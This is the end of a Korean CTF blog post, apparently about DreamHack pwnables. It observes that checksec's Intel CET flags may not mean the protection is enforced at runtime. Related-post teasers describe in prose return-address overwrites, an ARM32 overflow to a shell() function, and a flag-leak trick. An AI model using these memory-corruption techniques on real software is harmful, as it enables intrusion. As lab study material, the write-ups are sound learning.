checksec์˜ SHSTK/IBT ํ‘œ์‹œ๊ฐ€ ํ•ญ์ƒ ์‹ค์ œ ๋ณดํ˜ธ๋กœ ์ด์–ด์ง€์ง€๋Š” ์•Š๋Š”๋‹ค. ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” Intel CET(์„€๋„์šฐ ์Šคํƒยท๊ฐ„์ ‘๋ถ„๊ธฐ์ถ”์ ) ์ง€์› ํ”Œ๋ž˜๊ทธ๋ฅผ ๋‹ฌ๊ณ  ์ปดํŒŒ์ผ๋์ง€๋งŒ, ์‹ค์ œ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์จ๋„ ๋ณ„๋ฌธ์ œ ์—†์ด ret์ด ๊ทธ๋Œ€๋กœ ์‹คํ–‰๋๋‹ค. ์ปค๋„ยทCPU๊ฐ€ CET๋ฅผ ์‹ค์ œ๋กœ ํ™œ์„ฑํ™”ํ•ด ๊ฐ•์ œํ•˜์ง€ ์•Š์œผ๋ฉด ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์š”์ฒญ ํ”Œ๋ž˜๊ทธ๋Š” ์žฅ์‹์— ๊ฐ€๊น๋‹ค โ€” checksec ๊ฒฐ๊ณผ๋ฅผ ๋ณผ ๋•Œ๋Š” "์ด ๋ณดํ˜ธ๊ฐ€ ์ปดํŒŒ์ผ ํƒ€์ž„์— ์š”์ฒญ๋๋Š”๊ฐ€"์™€ "๋Ÿฐํƒ€์ž„์— ์‹ค์ œ๋กœ ๊ฑธ๋ ค ์žˆ๋Š”๊ฐ€"๋ฅผ ๊ตฌ๋ถ„ํ•ด์„œ ๋ด์•ผ ํ•œ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 4] ํ”„๋กœ๊ทธ๋žจ์ด ์ง์ ‘ ์•Œ๋ ค์ฃผ๋Š” win() ์ฃผ์†Œ โ€” DreamHack baby-bof ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] ํ”„๋กœ๊ทธ๋žจ์ด ์ง์ ‘ ์•Œ๋ ค์ฃผ๋Š” win() ์ฃผ์†Œ โ€” DreamHack baby-bof ํ’€์ด

printf๊ฐ€ ์นœ์ ˆํ•˜๊ฒŒ win()์˜ ์ฃผ์†Œ๋ฅผ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•ด์ฃผ๊ณ , ๋’ค์ด์€ "๊ฐ’์„ ๋ช‡ ๋ฒˆ ์“ธ์ง€" ์ž…๋ ฅ์€ ์Šคํƒ ๋ฒ„ํผ ํฌ๊ธฐ์™€ ์•„๋ฌด ๊ด€๊ณ„ ์—†์ด ๊ทธ ํšŸ์ˆ˜๋งŒํผ 8๋ฐ”์ดํŠธ์”ฉ ์ด์–ด ์“ด๋‹ค. ๋ฆฌํฌ๋œ ์ฃผ์†Œ๋ฅผ ๊ทธ ๊ฐ’์œผ๋กœ, ์“ฐ๊ธฐ ํšŸ์ˆ˜๋ฅผ 4๋กœ ์ฃผ๋ฉด ๋ฆฌํ„ด ์ฃผ์†Œ๊ฐ€ win()์œผ๋กœ ๋ฐ”๋€๋‹ค.
#dreamhack#ctf#pwnable+4
2026-07-05#dreamhack +5
[๐Ÿฅ‰ Bronze 3] ARM32 ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ๋กœ pc ๋ฅผ ์ง์ ‘ ๊ฐˆ์•„๋ผ์šฐ๊ธฐ โ€” DreamHack Arm Training-v1 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ARM32 ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ๋กœ pc ๋ฅผ ์ง์ ‘ ๊ฐˆ์•„๋ผ์šฐ๊ธฐ โ€” DreamHack Arm Training-v1 ํ’€์ด

x86 ์˜ ret ์ด ์—†๋Š” ARM32์—์„œ๋Š” ํ•จ์ˆ˜ ์—ํ•„๋กœ๊ทธ๊ฐ€ pop ์œผ๋กœ fp ์™€ pc ๋ฅผ ํ•œ๊บผ๋ฒˆ์— ๋ณต์›ํ•œ๋‹ค. ์ €์žฅ๋œ lr ์„ ๋ฎ์œผ๋ฉด ๊ทธ ๊ฐ’์ด ๊ฒ€์‚ฌ ์—†์ด ๊ทธ๋Œ€๋กœ pc ๊ฐ€ ๋œ๋‹ค. 24๋ฐ”์ดํŠธ ๋’ค ๋ฐ˜ํ™˜์ฃผ์†Œ๋ฅผ shell() ๋กœ ๋ฐ”๊ฟ” system("/bin/sh") ๋ฅผ ํ˜ธ์ถœํ•˜๊ณ , read(0, buf, 200) ๊ฐ€ ์…ธ ๋ช…๋ น๊นŒ์ง€ ์‚ผ์ผœ๋ฒ„๋ฆฌ๋Š” ํ•จ์ •์€ payload ๋ฅผ ์ •ํ™•ํžˆ 200๋ฐ”์ดํŠธ๋กœ ๋งž์ถฐ ๋„˜๊ธด๋‹ค.
#dreamhack#ctf#pwnable+6
2026-08-09#dreamhack +4
[๐Ÿฅ‰ Bronze 4] mmap์œผ๋กœ ๊ฒฉ๋ฆฌํ•œ flag๋„ ํฌ์ธํ„ฐ ํ•˜๋‚˜๋ฉด ์ƒˆ์–ด๋‚˜์˜จ๋‹ค โ€” DreamHack mmapped ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] mmap์œผ๋กœ ๊ฒฉ๋ฆฌํ•œ flag๋„ ํฌ์ธํ„ฐ ํ•˜๋‚˜๋ฉด ์ƒˆ์–ด๋‚˜์˜จ๋‹ค โ€” DreamHack mmapped ํ’€์ด

flag ํŒŒ์ผ์„ mmap์œผ๋กœ ์ฝ๊ธฐ ์ „์šฉ ๋งคํ•‘ํ•ด๋‘๊ณ , ์ถœ๋ ฅ ์ง์ „์— mprotect๋กœ ์•„์˜ˆ ์ ‘๊ทผ์กฐ์ฐจ ๋ชป ํ•˜๊ฒŒ ๋ง‰์•„๋ฒ„๋ฆฐ๋‹ค โ€” ์–ธ๋œป ๋ณด๋ฉด ๊ฒฌ๊ณ ํ•œ ๋ณดํ˜ธ์ฒ˜๋Ÿผ ๋ณด์ธ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ •์ž‘ ํ™”๋ฉด์— ์ถœ๋ ฅ๋˜๋Š” ๊ฑด "์ง„์งœ flag" ์ฃผ์†Œ๊ฐ€ ์•„๋‹ˆ๋ผ ์ „ํ˜€ ๋‹ค๋ฅธ ๊ณณ์— ์žˆ๋Š” "๊ฐ€์งœ" ๋ฌธ์ž์—ด์˜ ์ฃผ์†Œ๋‹ค. ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์ด ๋‘ ์ฃผ์†Œ๊ฐ€ ๋‹ด๊ธด ์ง€์—ญ ๋ณ€์ˆ˜ ๋‘ ๊ฐœ๋ฅผ ๋™์‹œ์— ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด โ€” ๋ณดํ˜ธ ๋Œ€์ƒ ์ž์ฒด๋ฅผ ๋ฐ”๊ฟ”์น˜๊ธฐํ•ด์„œ mprotect๋ฅผ ํ—›์†์งˆ๋กœ ๋งŒ๋“ค๊ณ , ์ถœ๋ ฅ ๋Œ€์ƒ์€ ์ง„์งœ flag๋กœ ๋ฐ”๊ฟ”์น˜๋Š” ๊ฒŒ ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.
#dreamhack#ctf#pwnable+3
2026-07-20#dreamhack +4